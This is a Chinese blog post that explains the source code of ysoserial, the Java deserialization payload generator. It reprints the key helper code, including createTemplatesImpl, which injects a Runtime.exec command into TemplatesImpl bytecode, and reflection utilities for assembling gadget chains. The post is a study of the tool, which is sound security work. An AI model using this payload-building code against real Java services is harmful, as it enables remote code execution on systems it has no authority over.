ysoserial源码详解 IAST后端基本写的差不多了,所以为了写前端,最近正在学习electron,想先拿个东西练练手,于是打算为ysoserial做一个前端界面同时加一些自己的特性,那么既然要二开必然要学习原项目,那么顺手写个文章方便以后复习。
代码结构 ysorerial的代码结构如下,包括这三个块:exploit
、payloads
、secmgr
下面来简单介绍一下每个块的具体用途。
exploit包 这个包内的内容主要用于对不同的目标进行实际的攻击。
payloads包 annnotation包 这个包内主要包含了一些注解相关的信息,主要用力标识作者之类的提示信息。
Authors注解 这个文件定义了一个注解,其中包含了一些作者信息,是用来标记gadgate的作者的,没什么特别好说的。
Dependencies注解 检索依赖信息的注解。
PayloadTest注解 用来标记gadgate是否需要被测试,是否测试的时候会引发什么异常情况之类的东西,是用来测试gadgate的。
Util包 Util模块是一个工具模块,里面包含了像类文件操作,反射操作等的小工具,为yso中大量使用的重复性操作做一个封装。
ClassFiles类 ClassFiles
类的作用是处理类文件,在ysoserial
中经常会涉及到类文件读取的操作,因此将其放在了一个单独的类里面方便使用,详细说说其中的各种方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static String classAsFile (final Class<?> clazz) { return classAsFile(clazz, true ); } public static String classAsFile (final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null ) { str = clazz.getName().replace("." , "/" ); } else { str = classAsFile(clazz.getEnclosingClass(), false ) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class" ; } return str; }
classAsFile
方法有两个重载,总的来说是获取class
的路径用的,这个方法在处理反射、类加载器、或者需要根据类名获取类文件路径的场景中非常有用。例如,在自定义类加载器或进行字节码分析时,这种将类名转换为类文件路径的功能是非常基础且重要的。 第二个重载也就是核心所在,通过getEnclosingClass()
方法获取传入的是否是内部类,如果不是那么直接返回如com/springkill/clazz
这样的字段,如果是那么就返回com/springkill/clazz$1
这样的字段,然后根据suffix
表示的内容判断在末尾是否加上.class
的后缀。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static byte [] classAsBytes(final Class<?> clazz) { try { final byte [] buffer = new byte [1024 ]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null ) { throw new IOException ("couldn't find '" + file + "'" ); } final ByteArrayOutputStream out = new ByteArrayOutputStream (); int len; while ((len = in.read(buffer)) != -1 ) { out.write(buffer, 0 , len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException (e); } }
这个方法就是简单的将类转换为byte[]
供后面使用。
Gadgets类 总的来说这个类包含了多个方法,主要用于动态创建和操作Java对象。 先说两个内部类:
内部类:StubTransletPayload类 这个内部类用于演示反序列化,继承自AbstractTranslet
类,并且实现了transform
方法,为后面的操作提供一个看起来无害的”载体”。
内部类:Foo类 定义了序列化版本,没有多余操作,后文将作为辅助类使用。
类中的方法
这块代码初始化了两个系统属性分别允许TemplatesImpl
的反序列化和允许RMI远程加载。
createMemoitizedProxy
和createProxy
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); }public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); }public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1 ); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0 , allIfaces, 1 , ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); }
这两个方法创建了任意代理类,实现了动态创建任意接口的实现并且进行自定义,其中调用的createMemoizedInvocationHandler
方法创建一个自定义的sun.reflect.annotation.AnnotationInvocationHandler
实例,然后通过createProxy
创建一个代理类。
使用给定的key
和value
创建一个HashMap
,因为ysoserial在使用过程中需要频繁地创建HashMap
所以将这个操作封装。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan" , "false" )) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet" ), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl" )); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); }public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath ( StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath (abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\" , "\\\\" ).replace("\"" , "\\\"" ) + "\");" ; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte [] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); return templates; }
这个类主要是用来初始化TemplatesImpl
的。 第一个createTemplatesImpl
方法通过检查properXalan
属性的值来判断是使用内置的org.apache.xalan.xsltc.trax.TemplatesImpl
还是使用外部 Apache Xalan 项目提供的类(这并不是一个标准的官方系统属性),如果为True
那么就使用重载方法传入的类。 那么再来说说重载方法,先实例化了一个templates
,然后使用Javassist
进行字节码操作,创建一个ClassPool
的实例,然后将内部类StubTransletPayload.class
和传入的abstTranslet
放入其中,然后获取StubTransletPayload
的CtClass
表示clazz
(CtClass
是Javassist
中表示类的对象),然后将command
包装成Runtime
执行命令的代码,最后插入到clazz
的静态代码块中,最后修改clazz
的父类,并将clazz转换为字节码数组。 以上准备工作做完后开始使用反射修改templates
的_bytecodes
字段,将刚才准备好的clazz
的字节码表示和内部类Foo
写入其中,然后设置_name
字段和_tfactory
字段,其中_tfactory
字段需要一个TransformerFactoryImpl
实例,由传入的transFactory
类使用反射来创建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap (); Reflections.setFieldValue(s, "size" , 2 ); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); Reflections.setAccessible(nodeCons); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); Reflections.setFieldValue(s, "table" , tbl); return s; }
这个类用来初始化HashMap
实例,首先创建一个HashMap
然后设置其大小为2,根据JDK版本的不同决定nodeC
的类型然后获取对应的构造函数,之后创建一个大小为2的数组将两个节点初始化后放入(节点的key
和value
都为v1
或v2
),最后将数组放入HashMap
中并返回。
JavaVersion类 这个没什么好说的,就是检测Java版本用的。
PayloadRunner类 这个类看名字就知道是测试payload用的,执行一次序列化和反序列化的过程,看能否达到预期的目的,不过多说。
Reflections类 这个类是将yso中经常使用的反射操作做一个封装来方便使用。
这个方法根据使用Java版本的不同为传入的member
执行setAccessible
操作,来修改Field
、Method
或Constructor
的可访问性。
获取指定类及其父类中声明的特定字段。如果在当前类中找不到字段,会递归地在其夫类中查找。
setFieldValue
和getFieldValue
方法
这两个方法分别用于设置和获取对象的指定字段值。它们使用getField
来访问字段,然后调用Field.set
或Field.get
来修改或检索值。
getFirstCtor
方法和newInstance
方法
获取构造函数和创建其对应的实例所使用的方法。
createWithoutConstructor
方法和createWithConstructor
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); }@SuppressWarnings ( {"unchecked" } )public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs); }
这两个方法比较有意思,createWithConstructor
使用了newConstructorForSerialization
方法创建一个伪构造函数,然后实例化并返回。
newConstructorForSerialization
方法不需要对应的类有默认构造函数,也不需要真正地执行构造函数就可以直接创建一个对象实例。因为它通过字节码的形式生成了ConstructorAccessor
接口。
ObjectPayload接口 这个接口是所有payload的父类,也就是链子具体实现的父类,接口本身没什么,不过它里面还有一个Utils
的内部类,可以详细说说这个内部类中的各种方法。
该方法用来查找和返回所有实现了ObjectPayload
接口的类,没什么特别的。
通过名字加载具体的链子实现,并且判断是不是ObjectPayload
的子类,如果不是则不加载。
使用getPayloadClass
方法获取具体的链子的类,然后将其实例化。
用来清理Payload
。
ReleaseableObjectPayload接口 这个接口是用来和releasePayload
方法配合使用,用来清理释放指定Payload
的。
secmgr包 这个包里面包含了两个SecurityManager
的子类,用来更改安全检查的一些逻辑。
DelegateSecurityManager类 作为一个代理,继承自SecurityManage
,指定一个SecurityManager
实例进行安全检查用。 前面为了支持JDK10
以后的兼容性,将getInCheck
、checkTopLevelWindow
、checkSystemClipboardAccess
、checkAwtEventQueueAccess
、checkMemberAccess
的具体实现清空。 然后重写了SecurityManager
中的很多方法,将其具体处理委托给成员变量securityManager
。
ExecCheckingSecurityManager类 这个类同样继承自SecurityManage
类,用来检查是否执行命令,并决定是否抛出异常。
Deserializer类 这个类封装了在yso中经常使用的反序列化操作,这段代码和前面的PayloadRunner
配合使用来测试payload
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class Deserializer implements Callable <Object> { private final byte [] bytes; public Deserializer (byte [] bytes) { this .bytes = bytes; } public Object call () throws Exception { return deserialize(bytes); } public static Object deserialize (final byte [] serialized) throws IOException, ClassNotFoundException { final ByteArrayInputStream in = new ByteArrayInputStream (serialized); return deserialize(in); } public static Object deserialize (final InputStream in) throws ClassNotFoundException, IOException { final ObjectInputStream objIn = new ObjectInputStream (in); return objIn.readObject(); } public static void main (String[] args) throws ClassNotFoundException, IOException { final InputStream in = args.length == 0 ? System.in : new FileInputStream (new File (args[0 ])); Object object = deserialize(in); } }
Serializer类 这个类封装了yso中经常使用的序列化操作,提供便捷,和上面的Deserializer
类很相似,不过多说明。
GeneratePayload类 名字上看就是生成Payload
使用的类,简单说下。
mian
方法接受命令行参数来选择链和命令,然后实例化并序列化后返回,如果失败则返回前面定义好的状态码然后退出程序。
用来打印yso的使用方法,不过多说了。
Strings类 这个类就是将一些常用的字符串方法进行一个封装,如连接,重复,格式化、比较操作。
Yso是如何运作的? 那么说了上面很多的包以及类,肯定有的小伙伴听完还是一头雾水,下面就用一张图说明下yso具体是怎么运作的吧!
由控制台进行输入,获取gadget
和需要执行的命令传入到入口GeneratePayload
中,然后由GeneratePayload
调用具体的ObjectPayload
接口的实现来获取实例,在这个过程中ObjectPayload
又去调用了Gadgets
、Reflections
等进行初始化然后将对象返回给GeneratePayload
,最后GeneratePayload
调用Serializer
的序列化方法将其序列化后返回并打印到控制台。